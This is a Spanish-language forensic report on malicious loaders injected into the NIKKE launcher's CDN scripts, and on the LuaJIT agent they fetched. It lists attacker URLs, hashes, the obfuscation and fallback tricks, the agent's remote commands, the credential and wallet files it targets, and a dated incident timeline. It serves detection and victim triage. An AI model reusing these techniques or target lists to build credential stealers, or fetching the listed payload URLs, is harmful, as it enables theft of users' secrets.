chrome_install | Instala la persistencia de la DLL de Chrome |
chrome_cleanup, chrome_uninstall, payload_cleanup | Borran rastros |
Solo con exec, el operador puede hacer todo lo que puede hacer tu cuenta de usuario: instalar otro malware, leer cualquier documento o modificar archivos. Los demás comandos son atajos.
El agente Lua no hace nada por sí solo. Registra k2f_chan en el comm_center del launcher y después solo responde a solicitudes open, read, write, ping y close. Cada comando llega del servidor a través de l.js. Los datos de las víctimas muestran que los primeros comandos llegan a los pocos segundos de iniciarse el agente: una DLL de Chrome se escribió 3 segundos después del inicio, y en dos equipos el navegador integrado del launcher envió unos 0,9 MB y 16,6 MB en la hora del inicio (reportado, SRUM). En varios equipos se hizo una primera recopilación a los pocos minutos del inicio (uno envió 4,85 MB en una sesión de 25 minutos, cheejordan, reportado; otro, unos 1,2 MB en sus primeros cinco minutos, incidencia #9 de nikke-check, reportado), pero al menos un PC infectado no mostró ningún salto, así que una hora normal en SRUM no descarta el agente. En otro PC, el diario de cambios de NTFS muestra cuatro copias %TEMP%\k2f-bcreds--.db creadas y eliminadas en un mismo segundo, 8 segundos después de iniciarse la carga útil. La hora Unix de sus nombres, 1793662591, es ese mismo segundo (2026-11-02 23:36:31 GMT), así que browserscan se ejecutó a los pocos segundos del inicio. Una segunda ejecución en ese PC, el 3 de noviembre a las 10:58 GMT, no dejó ninguna (Iwassoobsessedwith, reportado). key4.db y logins.json de Firefox se leen donde están, sin copia (comprobado en el código de la compilación analizada), así que leerlos no deja ningún archivo k2f-bcreds. Que falten archivos temporales o que la configuración tenga collect_cookies: false tampoco significa que no se llevaran nada. whoami informa del nivel de integridad del launcher y de si se ejecuta con privilegios elevados. supermagicianck informa de que nikke_launcher.exe 0.0.6.841 (firmado por PROXIMA BETA PTE. LIMITED) tiene requireAdministrator en su manifiesto, así que el agente se ejecuta con privilegios elevados y su método con el token de SYSTEM para el cifrado vinculado a la aplicación de Chrome y Edge puede funcionar. En un PC donde un usuario estándar escribió la contraseña de administrador de otra cuenta, comprueba también %APPDATA%\nikke_launcher, %TEMP% y la clave CLSID de HKCU de esa cuenta.
Para ver cuántos datos salieron de un PC con Windows: SRUM (C:\Windows\System32\sru\SRUDB.dat) guarda los bytes enviados por programa y por hora. Ábrelo como administrador con NirSoft NetworkUsageView, o cópialo y analízalo con SrumECmd, y después compara las horas de los inicios del agente con los valores habituales de tbs_browser.exe. Todo el tráfico del agente sale a nombre de ese proceso, no del juego. En la hora en que se descarga la carga útil, nikke_launcher.exe también la recibe: por ejemplo, 337 535 bytes recibidos, 205 135 de ellos de la carga útil (Zavodskyja, reportado).
Solo exec inicia programas nuevos (es el único módulo que carga win32.exec y CreateProcessW). Los demás comandos se ejecutan dentro del proceso del launcher mediante LuaJIT FFI, así que Prefetch y los registros de creación de procesos no pueden mostrarlos. El agente sigue activo mientras el launcher esté abierto, y el launcher suele quedarse abierto en el área de notificación mientras se juega: un agente reportado contactó con el servidor 22 veces en 9 horas.
Ninguno de estos comandos deja una entrada en los registros del launcher. Una víctima no puede saber por los registros qué comandos se ejecutaron, así que da por hecho lo peor.
Linux y Steam Deck (Proton)
Proton no te protege.
Los análisis automáticos buscan rutas de Windows, así que encuentran poco en un prefijo de Proton. En el equipo analizado aquí, el único objetivo presente dentro del prefijo eran los datos del launcher de NIKKE.
Con los comandos remotos es distinto. Wine asigna tu carpeta personal de Linux y / a letras de unidad (Z: como mínimo). También pasa tus variables de entorno al juego, y el agente las lee todas. Con exec, ls, cat y download, el operador puede leer todo lo que pueda leer tu usuario de Linux: ~/.ssh, perfiles de navegador, archivos de configuración del shell con claves de API, almacenes de contraseñas y documentos. La persistencia de Chrome para Windows no se aplica en Linux, pero considera expuestos todos los secretos de tu carpeta personal y de tu entorno.
Detalles técnicos
Etapa 1: archivos oficiales modificados
Se añadió código a cuatro archivos de la CDN de Level Infinite:
| Archivo oficial | Carga |
|---|---|
https://sg-gpts.playerinfinite.com/comm/assets/lib/aegis-fix.min.js | https://insightjs.com/l.js?f=aegis |
https://na-webassets.playerinfinite.com/comm/nikke_launcher/assets/images.7fec4c32.js | https://insightjs.com/l.js?f=images |
https://na-webassets.playerinfinite.com/comm/nikke_launcher/assets/FeedList.feb647c9.js | https://insightjs.com/l.js?f=feedlist |
https://na-webassets.playerinfinite.com/comm/assets/lib/vue-bucket.min.js | https://insightjs.com/l.js?f=vue |
Versiones modificadas (las dos primeras descargadas el 3 de noviembre antes de la corrección, la tercera el 3 de noviembre a las 18:57 GMT, la cuarta recuperada por mikansubre de una caché HTTP del launcher; tamaño descomprimido):
| Archivo | Tamaño | ETag | Last-Modified |
|---|---|---|---|
aegis-fix.min.js | 69 731 bytes | 50d1861152ea7f6875ffceb7d08445b5 | Sun, 27 Sep 2026 06:41:40 GMT |
images.7fec4c32.js | 4358 bytes | 481e9b5ab8fb93406bf31980b53e0578 | Sun, 27 Sep 2026 06:41:57 GMT |
FeedList.feb647c9.js | 5808 bytes | b7d842200372ad0d9a84ef4cc8511311 | Sun, 27 Sep 2026 06:42:03 GMT |
vue-bucket.min.js | 135 273 bytes | dd06875637a29cddd3bae2ba84142c78 | Sun, 27 Sep 2026 06:41:44 GMT |
Versiones limpias (sin cargador y sin ninguna referencia a insightjs; los mismos ETag en los dos hosts, con las horas de Last-Modified de cada host en la ):
| Archivo | Tamaño | ETag | Last-Modified | SHA-256 |
|---|---|---|---|---|
aegis-fix.min.js | 69 033 bytes | 44c576454a5b0b4ed60e1a983aa4e782 | Tue, 03 Nov 2026 17:04:28 GMT | 83bb8f30c65fd31208089f4107f316e7073c9b1213a8a3b2b512ab99e261de18 |
images.7fec4c32.js | 3660 bytes | 6e5f79cf9b7c364249f9de83ba7fa59e | Tue, 03 Nov 2026 17:21:31 GMT | 4ad53349f98b86fd3a97bc386b2a1f555baf27c27a270f272404d47c9d7cc065 |
FeedList.feb647c9.js | 5099 bytes | 04ee9800128396ba26f10ca70f170967 | Wed, 28 Oct 2026 15:46:09 GMT (subido de nuevo el 3 de noviembre) | 49b625b30b34dc1fa16edba30bdf63c18b6171a0fc4cf030e21ea4e1263ae18a |
vue-bucket.min.js | 134 592 bytes | 63bc3a47b35b80a5d200dc5624d7126e | Tue, 03 Nov 2026 17:13:36 GMT | 459343517635a96caa109b050361b4d32393e8727b2f54b44749db783feb4199 |
Todas las versiones las sirve tencent-cos. Hasta el 4 de noviembre, la copia de FeedList.feb647c9.js que recibía un launcher dependía del servidor de la CDN al que llegaba. El 3 de noviembre entre las 18:57 y las 18:59 GMT, 43.152.43.115 (la dirección que Cloudflare y Google DNS devolvieron al equipo de análisis) servía la copia limpia. 43.175.144.148 y 43.175.145.181 servían la copia modificada, SHA-256 2f2aac505f486067af6831d6c75ea74df63acb1ed4e4002709c5962c68bd9203, desde una caché del 30 de septiembre, y la devolvían también con una cadena de consulta para evitar la caché. images.7fec4c32.js estaba limpio en los tres servidores. A las 22:26 GMT, FeedList.feb647c9.js seguía modificado en los mismos dos servidores, tanto para na-webassets como para sg-gpts (la copia de sg-gpts se modificó a las 06:42:09 del 27 de septiembre y se limpió a las 15:38:49 del 28 de octubre, reportado). Un análisis público de urlscan.io que encontró tatsu-t (comprobado aquí) todavía recibió la copia modificada, con el mismo SHA-256 y el ETag b7d842200372ad0d9a84ef4cc8511311, de un cuarto servidor, 43.175.139.78, para na-webassets el 4 de noviembre a las 00:48:22 GMT. Ese servidor la había guardado en caché el 15 de octubre. La copia limpia restaurada el 28 de octubre tiene el mismo ETag que el original del 23 de julio. Se volvió a subir en el origen el 3 de noviembre a las 20:13 (sg-gpts) y a las 20:19 GMT (na-webassets), con el mismo ETag 04ee9800128396ba26f10ca70f170967, y la comprobación de las 22:26 citada antes es posterior. Según sus encabezados Date, los cuatro servidores recibieron la copia limpia entre las 03:12 y las 03:21 GMT del 4 de noviembre, muy probablemente tras una purga. El 4 de noviembre a las 11:20 GMT los cuatro archivos estaban limpios en 43.152.43.115, 43.175.144.148, 43.175.145.181 y 43.175.139.78, tanto para sg-gpts como para na-webassets, también con gzip y con una cadena de consulta. A finales de octubre algunos servidores de la CDN todavía tenían copias anteriores al ataque de FeedList.feb647c9.js y vue-bucket.min.js (la caché del equipo analizado contiene el vue-bucket.min.js anterior al ataque, ETag 4d0dc9cc23650db9631a2280cfa50186), así que los cargadores que ejecutaba un launcher dependían del servidor al que llegaba. En esa misma comprobación, vue-bucket.min.js estaba limpio en los tres (SHA-256 459343517635a96caa109b050361b4d32393e8727b2f54b44749db783feb4199). El vue-bucket.min.js modificado tiene el SHA-256 3aaafbd612f04501a6fdb0bb8b2f8a87796223e5584ac18ea5eb180feeafb193.
El código inyectado oculta la URL en un array de enteros (new TextDecoder().decode(new Uint8Array(new Uint32Array().buffer))). Añade una etiqueta y la quita de la página cuando termina la carga. Si insightjs.com falla, vuelve a intentarlo con el TLD cambiado por .org (construido con String.fromCharCode(111,114,103), presente en los aegis-fix.min.js, images.7fec4c32.js y FeedList.feb647c9.js modificados). En FeedList.feb647c9.js los 708 bytes añadidos están justo antes de la instrucción export{...} final del módulo, así que una comprobación que solo compare el final de un archivo no los detecta.
El código añadido no escribe nada en los registros por sí mismo. Carga l.js mediante una etiqueta y pasa a insightjs.org cuando insightjs.com falla o no responde en 30 segundos. Las líneas de debug.log con el origen vacío (startup already in progress, k2f_chan registered, adopted) vienen de l.js. startup already in progress solo se ha visto mientras había una descarga de la carga útil en curso (en el equipo analizado a las 01:47:35, un segundo antes de la descarga), pero varias ejecuciones infectadas no la tienen.
La caché de código V8 del launcher (tbs_cache\Code Cache\js\) tiene entradas del cargador con claves como https://insightjs.com/l.js?f=aegis, con https://playerinfinite.com/ como origen. No contienen ningún script, solo la clave, una marca de tiempo y un marcador corto (unos 200 bytes en el equipo analizado), así que l.js no se puede recuperar a partir de ellas. La marca de tiempo indica cuándo se ejecutó ese cargador por última vez. El equipo analizado tenía las claves aegis e images. Otras víctimas reportaron también ?f=feedlist y ?f=vue. La caché HTTP del launcher (tbs_cache\Cache\, archivos data_* y f_*) también puede contener los propios archivos modificados: en el equipo analizado contenía aegis-fix.min.js e images.7fec4c32.js modificados. Los guarda codificados con gzip, tal como los envió la CDN, así que una búsqueda de texto simple no encuentra nada. Descomprime cada flujo gzip (empieza por los bytes 1F 8B 08) y busca String.fromCharCode(111,114,103) (Iwassoobsessedwith, comprobado). El aegis-fix.min.js modificado que estaba en caché tenía cache-control: max-age=7776000, 90 días a partir de su encabezado Date del 11 de octubre.
Etapa 2: descarga de la carga útil
l.js llama al puente JS propio del launcher (Srv_DownloadFile) para descargar:
| URL | https://analytics.insightjs.com/comm/assets/insight.bundle |
| Tamaño | 205 135 bytes |
| SHA-256 | cc0ad05bfe85940a6067b3a72c182d3953339129206634141926d5d0b35973ec (copia descargada el 2026-11-03 a las 16:22 GMT) |
| Encabezados | content-type: application/octet-stream, cache-control: no-store, last-modified: Tue, 03 Nov 2026 14:56:40 GMT |
Las víctimas ejecutaron compilaciones distintas. El tinyget.mem.log del launcher conserva los encabezados de respuesta, y nginx construye el ETag a partir de la hora de modificación y el tamaño del archivo en hexadecimal. Se conocen siete subidas, todas de 205 135 bytes (3214f): 31 de octubre 15:38:43 (ETag 6ae60b83-3214f, descargada a las 17:20 UTC con un inicio del agente, reportado por Kallontz en la incidencia #9 de nikke-check), 1 de noviembre 01:06:14 (6ae69086-3214f, reportado por v3s9er), 1 de noviembre 18:08:55 (ETag 6ae78037-3214f, reportado por neutralnikke, malevolenttortoise e ImDanny39), 2 de noviembre 17:48:47 (6ae8ccff-3214f, reportado por malevolenttortoise), 2 de noviembre 21:48:40 (6ae90538-3214f, en el equipo analizado, también reportado en otro equipo a las 10:58 GMT del 3 de noviembre), 3 de noviembre 12:31:04 (6ae9d408-3214f, reportado por vvs, descargada a las 14:19 GMT) y 3 de noviembre 14:56:40 (la muestra publicada, ETag 6ae9f628-3214f según la misma regla). Hay agentes iniciados desde el 23 de octubre, así que existen compilaciones más antiguas cuyos encabezados nadie ha publicado. Una de ellas todavía se servía el 1 de noviembre a las 18:03:18, 5 min 37 s antes de que se subiera 6ae78037 (axm2, reportado). Las mismas compilaciones llegaron a equipos con Windows y con Proton, así que no dependen del sistema operativo. Por eso el hash anterior no coincide con todas las infecciones. tinyget.mem.log es un búfer de tamaño fijo que se reescribe desde el principio en cada inicio, así que el final del archivo todavía puede contener los encabezados de una sesión anterior.
La compilación del 23 de octubre es distinta (zbeosf, reportado). Se guardó como Launcher\log\tinyget\k2f.lua, de 165 108 bytes, SHA-256 60fd53ab7356384ba2161b9bc84420cd170905011a2f3ca09f3e38fe3122f3a1, y sigue en el disco porque esa compilación no tiene payload_cleanup. Tiene 14 de los 19 comandos (sin file_chunk, wallet_files, host_facts, chrome_cleanup ni payload_cleanup) y ningún objetivo de historial del shell, Kiro ni extensiones de monederos (reportado). Eso coincide con la compilación del 3 de noviembre, donde esos son justamente los módulos añadidos. Así que 205 135 bytes no es un tamaño universal: cualquier archivo de Launcher\log\tinyget que empiece por los bytes 1B 4C 4A 01 es el agente.
El launcher guarda la carga útil con un nombre .log engañoso en Launcher\log\tinyget\, la ejecuta y después la elimina. En las primeras ejecuciones, reportadas el 24 de octubre, se guardaba como Launcher\log\tinyget\k2f.lua.
Una versión anterior de este informe citaba como indicador un archivo hexadecimal de 22 bytes en %LOCALAPPDATA%\Temp\ (onominan.tmp). Era un error. El mismo nombre de archivo con el mismo tipo de contenido existe en prefijos de Wine de Delta Force con fecha 2026-09-20, antes de que se cambiaran los archivos de la CDN, así que viene de software de Tencent y no indica una infección.
Etapa 3: el agente
- Formato: bytecode de LuaJIT 2.0 (32 bits, sin información de depuración), ofuscado con Prometheus. Las cadenas se guardan en una tabla desordenada con una codificación base64 y base85 propia.
- Nombre interno de la compilación:
K2F_LUA_BUILD. - Acceso a Windows mediante LuaJIT FFI:
CredEnumerateW,CryptUnprotectData,NCryptDecrypt,BCrypt*,Reg*,CreateProcessW,CreatePipe,GetEnvironmentStringsW,GetLogicalDrives,GetAdaptersInfo, GDI+. - Protocolo: solicitudes JSON a través de
k2f_chan({op: "open", cmd: "", arg: {...}}, y despuésreadywritesobre un ID de sesión). La salida se devuelve codificada en base64 en bloques de hasta 2 MiB. - Estado: el agente guarda
k2f.agent.stateen el Local Storage del launcher (origenhttps://www.nikkelauncher.com,tbs_cache\Local Storage\leveldb\). En el equipo analizado conteníaagent_id(el mismo UUID que la líneaadopteddel registro),agent_pass,c2s_counter: 4, uns2c_counterque parece una marca de tiempo en microsegundos (2026-11-03 00:47:37 GMT) y esta configuración:poll_interval_seconds: 1800,jitter_seconds: 360,collect_cookies: false. El agente contacta con el servidor cada 30 minutos, con un margen de 6 minutos arriba o abajo. El valor des2c_counter, 1793666857535416, es 2026-11-03 00:47:37.535 GMT en microsegundos, dos segundos después del inicio del agente. Los valores antiguos de la clave se quedan en el archivo.logde LevelDB hasta que LevelDB lo compacta. Los archivos de las víctimas muestran quec2s_countersube en uno con cada contacto, y que el servidor cambia el intervalo entre 600, 1800 y 900 segundos en los mismos minutos en equipos sin relación entre sí, así que es un único ajuste para todos los agentes (reportado en los comentarios). El 23 de octubre el intervalo era de 900 s con 90 s de variación (zbeosf, reportado), y el 24 de octubre, de 600 s con 150 s. El intervalo es un ajuste del servidor guardado enk2f.agent.state, no forma parte de la compilación Lua. Que el valor des2c_countercoincida en dos equipos hace pensar que es la hora de un mensaje del servidor, como una actualización de la configuración, y no la de cada contacto. La carga útil Lua nunca lee ni escribe los dos contadores, así que los gestional.js, y no se pudo confirmar en el código qué hace subirc2s_counter. - Red: el agente Lua no tiene código de red. Solo carga
advapi32,bcrypt,crypt32,gdi32,gdiplus,iphlpapi,kernel32,ncrypt,psapi,shcoreyuser32, y solo responde a solicitudes enk2f_chan. Cada contacto y cada subida sale a través del.jsen el navegador integrado del launcher (tbs_browser.exeen Windows), así que los registros del firewall, del proxy y de SRUM muestran ese proceso. Las víctimas reportaron subidas de unos 947 KB a los pocos segundos de iniciarse un agente y de 146 MB en una hora (reportado, SRUM). browserscanenvía las filas de las bases de datos de los navegadores (sitio, nombre de usuario o nombre de la cookie, valor cifrado) y las claves, y el servidor las descifra. Para el cifrado vinculado a la aplicación de Chrome y Edge, primero prueba el token de SYSTEM deservices.exe, lo que solo funciona cuando el launcher se ejecuta como administrador.key4.dbylogins.jsonde Firefox se envían enteros. Crea una copia%TEMP%\k2f-bcreds--.dbpor cada archivo de base de datos (Login Data,Login Data For Accounty, salvo quecollect_cookiessea false,Cookiesde cada perfil), no una por navegador, y la elimina justo después de leerla. El número del nombre es la hora Unix de la copia, así que los archivos que queden muestran cuándo se ejecutóbrowserscan(Lirikana, comprobado en el código).screensguarda cada captura como%TEMP%\k2f_screen__.jpg(.pngen la compilación del 23 de octubre, reportado) y la elimina justo después de leerla, así que no encontrar ninguno de estos archivos no demuestra nada. La compilación del 23 de octubre también escribía copias%TEMP%\k2f-keyscan--.db(reportado); la compilación del 3 de noviembre lee esos almacenes donde están.payload_cleanupelimina los archivostinyget*.logyk2f*.luadelog\tinygetque empiezan por bytecode de LuaJIT (1B 4C 4A 01).chrome_installrecibe la DLL del servidor en base64. Antes de escribirla, el agente pone el ID del agente después de un marcador de posición/px/y un token hexadecimal de 64 caracteres en lugar de un marcadorBEARER000…, y después la guarda con un nombre de carpeta SHA-256 que indica el servidor. Por eso cada DLL instalada tiene su propio hash. El agente crea la carpeta por su cuenta y nunca comprueba que Chrome esté instalado.chrome_scaninforma primero de las instalaciones de Chrome, los perfiles y los ID de extensiones, ywallet_fileslee los ID de extensiones que envía el servidor, así que es el servidor quien elige los objetivos.collect_cookieses un argumento debrowserscan. Cuando es false, se omiten los almacenes de cookies y las contraseñas guardadas se leen igualmente.cat,downloadyexecpueden copiar de todos modos el archivo Cookies de un navegador, así quefalseen la configuración guardada no significa que las cookies estuvieran a salvo.- Módulos:
base64,json,channel,dispatch,commands.*,keyscan.*,win32.chrome,win32.creds,win32.exec,win32.extensions,win32.firefox,win32.fs,win32.hook,win32.registry,win32.screens,win32.sysinfo,win32.whoami.
Archivos que lee el agente
La lista completa de 264 rutas, junto con las subrutas de navegadores, las claves del Registro y los patrones de archivo, está en en este gist. Grupos principales:
- SSH y acceso remoto:
~\.ssh\*, incluidoknown_hosts, sesiones de PuTTY y WinSCP en el Registro,sitemanager.xmlyrecentservers.xmlde FileZilla - GPG:
%APPDATA%\gnupg,private-keys-v1.d - Herramientas de IA:
~\.claude\.credentials.json,%APPDATA%\Claude\claude_desktop_config.json,$CODEX_HOME\auth.json,oauth_creds.jsonde Gemini CLI, GitHub Copilot CLI, Cursor, Windsurf, VS Code (state.vscdb,mcp.json), Kimi, Qwen Code, OpenCode, Aider, Continue.dev - Nube: AWS (
~\.aws\credentials, caché de SSO), Azure, Google Cloud, Oracle Cloud, DigitalOcean, Hetzner, Linode, Alibaba, Tencent, Huawei, Fly.io, Railway, Vercel, Netlify, Cloudflare Wrangler, Supabase, Neon, PlanetScale, MongoDB Atlas, Snowflake, Databricks - Herramientas de desarrollo:
hosts.ymlde GitHub CLI, GitLab CLI, npm, pip, Poetry, Cargo, Composer, NuGet, RubyGems, Gradle, Maven,auth.jsonde Docker y Podman, Kubernetes, Helm, Terraform, Pulumi, Stripe, Twilio, Sentry, Hugging Face, Kaggle - Historial del shell:
ConsoleHost_history.txtde PowerShell,~\.zsh_history, fish, psql - Carpetas de proyectos:
%USERPROFILE%\code,dev,source,Programming,Documents,Desktop, donde busca.env,appsettings*.json,application*.yml,docker-compose.yml,.mcp.json - NIKKE:
%APPDATA%\nikke_launcher,%APPDATA%\nikke_launcher_hmt - Variables de entorno: 38 variables que apuntan a archivos de configuración, como
$CLAUDE_CONFIG_DIR,$GH_CONFIG_DIR,$AWS_SHARED_CREDENTIALS_FILE,$KUBECONFIG,$DOCKER_CONFIG - Monederos de criptomonedas: 28 extensiones de navegador identificadas por su ID, entre ellas MetaMask, Phantom, Coinbase, Binance, OKX, Bybit, Bitget, Trust, Rabby, Rainbow, Keplr, Solflare, Backpack, Tonkeeper, TronLink, Xverse, UniSat, Petra, Ronin y Magic Eden
Infraestructura
| Elemento | Detalles |
|---|---|
insightjs.com | Registrado el 2026-09-27 a las 01:59 GMT a través de PDR Ltd. (PublicDomainRegistry), con el titular oculto. Servidores de nombres ns0.1984.is, ns1.1984.is, ns2.1984hosting.com hasta la suspensión. Registro actualizado el 2026-10-12. El nombre ya se había usado antes: crt.sh muestra 19 certificados de Amazon para api.insightjs.com y cdn.insightjs.com de 2019-08 a 2022-07, y la Wayback Machine tiene una captura de 2017 de un servidor IIS, así que se volvió a registrar después de caducar. Nada relaciona al propietario anterior con este ataque (tatsu-t, comprobado). Suspendido por el registrador desde el 2026-11-05 a las 02:05:09 GMT: estado client hold, servidores de nombres NS1.SUSPENDED-DOMAIN.COM y NS2.SUSPENDED-DOMAIN.COM (Verisign RDAP, comprobado el 5 de noviembre a las 09:09 GMT) |
| Capturas de la Wayback Machine | El 27 de septiembre a las 04:08:04 GMT, http://insightjs.com/ respondió con un 301 hacia HTTPS, y a las 04:56:44 https://insightjs.com/ respondió con una página 403 de nginx. El servidor estaba activo unas 2,5 horas antes de que se modificaran los archivos de la CDN a las 06:41 (tatsu-t, comprobado) |
insightjs.com, analytics.insightjs.com | Resolvían a 89.127.233.127 hasta la suspensión (vistos por última vez el 4 de noviembre a las 22:59 GMT, TTL 120). El 5 de noviembre a las 09:09 GMT, los servidores de nombres de .com respondían NXDOMAIN para el dominio raíz, www y analytics (comprobado a través de Google DNS, y para el dominio raíz y analytics también a través de Cloudflare DNS). Antes de alrededor del 22 de octubre los dos nombres resolvían a 89.126.250.172 (reportado por D-Maledicte) |
89.126.250.172 | 1984 ehf, Islandia, red IS-1984-20060308 (89.126.248.0/21), AS44925: el mismo proveedor, nombre de red y ASN que 89.127.233.127 (RIPE RDAP). No se contactó |
| Certificados (Cert Spotter) | insightjs.com y www.: 2026-09-27 03:00:24. analytics.: 2026-10-06 00:55:00. analytics., portal., www. y el dominio raíz: 2026-10-23 15:37:09. Los mismos más docs.: 2026-10-24 21:15:14 (el certificado que presentó el servidor de la carga útil el 3 de noviembre) |
89.127.233.127 | Apagado por 1984 ehf el 3 de noviembre según su respuesta a una denuncia de abuso (reportado). VPS en 1984 ehf, Islandia. Red IS-1984-20060308 (89.127.232.0/22), DNS inverso vps-89-127-233-127.1984.is. Contacto de abuso abuse@1984.is |
insightjs.org | Dominio de respaldo del cargador. Sin registrar hasta el 3 de noviembre, cuando se registró a las 17:55:42 GMT a través de Spaceship, Inc., detrás de Cloudflare (104.21.35.173 y 172.67.178.16, sin cambios el 5 de noviembre a las 09:09 GMT, comprobado a través de Google DNS). Ahora sirve una página multilingüe "NIKKE PC Launcher Security Alert", y su l.js solo muestra esa advertencia dentro del launcher. Un launcher que muestra esa superposición ejecutó un archivo modificado y desactualizado y siguió el dominio de respaldo: FeedList.feb647c9.js en el caso reportado (Iwassoobsessedwith, reportado). Los aegis-fix.min.js e images.7fec4c32.js modificados tienen el mismo respaldo. La página dice que es un aviso independiente y enlaza a este informe y a un hilo de NGA. /comm/assets/insight.bundle devuelve 404 allí |
https://insightjs.com/l.js | El 3 de noviembre a las 17:30 GMT devolvía otro script tanto para ?f=aegis como para ?f=images: 9145 bytes, SHA-256 9617d04eb82ad804b55115d123fa3954711f44f318c9cf09c9b4857a24cba644. Parece un script de analítica de velocidad de página que envía datos a /speed, sin código de descarga |
insight.bundle | Todavía se servía el 3 de noviembre a las 17:30 GMT, con el mismo SHA-256 cc0ad05b...73ec, sin cambios desde las 14:56 GMT |
Cronología (GMT)
| Fecha | Evento |
|---|---|
| 2026-09-27 01:59 | Se registra insightjs.com |
| 2026-09-27 03:00 | Primer certificado para insightjs.com y www.insightjs.com |
| 2026-09-27 04:08 | insightjs.com responde: un 301 hacia HTTPS, y después un 403 de nginx por HTTPS a las 04:56 (capturas de la Wayback Machine) |
| 2026-09-27 06:41-06:42 | Se modifican cuatro archivos oficiales de la CDN de Level Infinite |
| 2026-09-30 | Primeras consultas del cargador a insightjs.com reportadas: un registro de Pi-hole desde las 06:31:29 (sin zona horaria indicada, TijuanaFlow) y una exportación de NextDNS que también empieza el 30 de septiembre (AdamCKW), ambos reportados |
| 2026-10-05 07:09 | Consulta de insightjs.com 3 s después de una consulta de playerinfinite en el primer inicio de ese día (luminesce01, Pi-hole, reportado) |
| 2026-10-05 a 10-21 | insightjs.com se alcanza en 89.126.250.172 desde la red de una víctima (reportado) |
| 2026-10-06 00:55 | Primer certificado para analytics.insightjs.com |
| 2026-10-12 | Se actualiza el registro de insightjs.com |
| 2026-10-21 a 10-23 | insightjs.com pasa a 89.127.233.127 (reportado); nuevo certificado para el dominio raíz, analytics., portal. y www. el 10-23 a las 15:37 |
| 2026-10-23 16:40 | Primer inicio del agente reportado en los comentarios (zbeosf), aproximadamente una hora después del certificado de las 15:37 |
| 2026-10-24 01:16 | Inicio del agente reportado en un equipo Linux con Proton (carga útil guardada como k2f.lua). Un equipo con Windows registró uno a las 01:43 |
| 2026-10-28 15:46 | FeedList.feb647c9.js se sustituye por una copia limpia en el origen. Algunos servidores de la CDN conservan la copia modificada que habían guardado antes en caché (el 30 de septiembre en dos servidores, el 15 de octubre en un tercero) |
| 2026-10-29 18:52 | Inicio de la distribución según el aviso de Level Infinite (03:52 UTC+9 del 30 de octubre). Ya se habían iniciado agentes el 23 y el 24 de octubre (filas anteriores, reportado) |
| 2026-10-30 a 11-03 | Más inicios del agente reportados: 30 de octubre 18:30, 22:50; 1 de noviembre 18:40, 19:37, 21:14, 21:36, 21:57, 22:15, 23:02, 23:53; 2 de noviembre 20:01, 20:24, 23:17, 23:36; 3 de noviembre 04:27, 07:06, 10:58 |
| 2026-10-31 15:38 | Se sube la compilación 6ae60b83 de insight.bundle (según su ETag). Un agente se inició con ella a las 17:20 (Kallontz, reportado) |
| 2026-11-01 01:06 | Se sube la compilación 6ae69086 (según su ETag, reportado por v3s9er) |
| 2026-11-01 11:14, 11-02 17:34 | Inicios en el equipo analizado: cargador presente, no se sirvió la carga útil |
| 2026-11-01 18:08 | Se sube una compilación de insight.bundle (según su ETag) |
| 2026-11-02 17:48 | Se sube otra compilación de insight.bundle (según su ETag, reportado) |
| 2026-11-02 21:48 | Se sube la compilación que se ejecutó en el equipo analizado |
| 2026-11-03 00:47 | La carga útil se sirve y se ejecuta en el equipo analizado |
| 2026-11-03 12:31 | Se sube la compilación 6ae9d408 (reportado por vvs; un agente se inició con ella a las 14:19) |
| 2026-11-03 14:56 | Se sustituye el archivo de la carga útil en el servidor del atacante |
| 2026-11-03 hacia las 15:00 | Level Infinite detecta anomalías en los archivos de script del launcher, según su aviso (hacia las 00:00 UTC+9 del 4 de noviembre) |
| 2026-11-03 16:11 | Primera advertencia pública en el Discord de la comunidad de NIKKE |
| 2026-11-03 16:56 | Los archivos oficiales siguen modificados |
| 2026-11-03 17:04-17:23 | Level Infinite sustituye aegis-fix.min.js, vue-bucket.min.js e images.7fec4c32.js en los dos hosts (02:04-02:23 UTC+9 del 4 de noviembre en su aviso). sg-gpts: aegis 17:04:28, vue 17:04:28, images 17:23:02. na-webassets: aegis 17:13:37, vue 17:13:36, images 17:21:31 |
| 2026-11-03 17:30 | l.js en el servidor del atacante pasa a devolver un script de analítica de aspecto inofensivo. insight.bundle sigue en línea |
| 2026-11-03 17:55 | Un tercero registra insightjs.org y lo convierte en una página de advertencia |
| 2026-11-03 18:31 | 89.127.233.127 deja de responder (se agota el tiempo de conexión desde el equipo de análisis) |
| 2026-11-03 18:35 | Revisión de 63 archivos oficiales del launcher en playerinfinite.com a través de 43.152.43.115: sin código del cargador. Ese servidor ya tenía el FeedList.feb647c9.js limpio, así que la revisión no detectó la copia modificada |
| 2026-11-03 18:59, 20:23, 22:26 | FeedList.feb647c9.js sigue modificado en 43.175.144.148 y 43.175.145.181 |
| 2026-11-03 20:13, 20:19 | Se vuelve a subir el FeedList.feb647c9.js limpio en el origen (sg-gpts 20:13, na-webassets 20:19), con el mismo ETag 04ee9800128396ba26f10ca70f170967 |
| 2026-11-03 23:26 | 1984 ehf responde a una denuncia de abuso diciendo que 89.127.233.127 "ha sido apagado" (reportado por seth12619; no comprobado aquí, y el DNS seguía apuntando a esa dirección a las 22:26) |
| 2026-11-04 00:48 | Un análisis público de urlscan.io todavía recibe el FeedList.feb647c9.js modificado de 43.175.139.78 para na-webassets (encontrado por tatsu-t, comprobado) |
| 2026-11-04 03:09 | Actualización de la caché de la CDN para el archivo modificado restante, según el aviso de Level Infinite (12:09 UTC+9) |
| 2026-11-04 03:12-03:21 | Los cuatro servidores de la CDN comprobados reciben el FeedList.feb647c9.js limpio (según sus encabezados Date), después de la actualización de la caché de la fila anterior |
| 2026-11-04 03:13 | Level Infinite publica un comunicado en X: un tercero pudo haber manipulado los archivos de script del launcher, y las correcciones se publicaron hacia las 17:30 GMT del 3 de noviembre |
| 2026-11-04 11:20 | Los cuatro archivos están limpios en 43.152.43.115, 43.175.144.148, 43.175.145.181 y 43.175.139.78, para los dos hosts |
| 2026-11-04 | El launcher carga un front-end reconstruido: nikke.c2f24fe0.js, images.64d80e3e.js, video-js.c239e58d.js, aegis-fix.min.js?t=20261104, vue-bucket.min.js?v=20261104. FeedList.feb647c9.js conserva su URL (comprobado en una instalación nueva) |
| 2026-11-04 22:59 | insightjs.com y analytics.insightjs.com siguen resolviendo a 89.127.233.127 (TTL 120), insightjs.org a Cloudflare 104.21.35.173 y 172.67.178.16 (comprobado a través de Google DNS) |
| 2026-11-04 23:00 | Según el aviso de Level Infinite, el cliente oficial para PC empieza a buscar el malware al iniciarse y elimina lo que encuentra si el jugador acepta (08:00 UTC+9 del 5 de noviembre) |
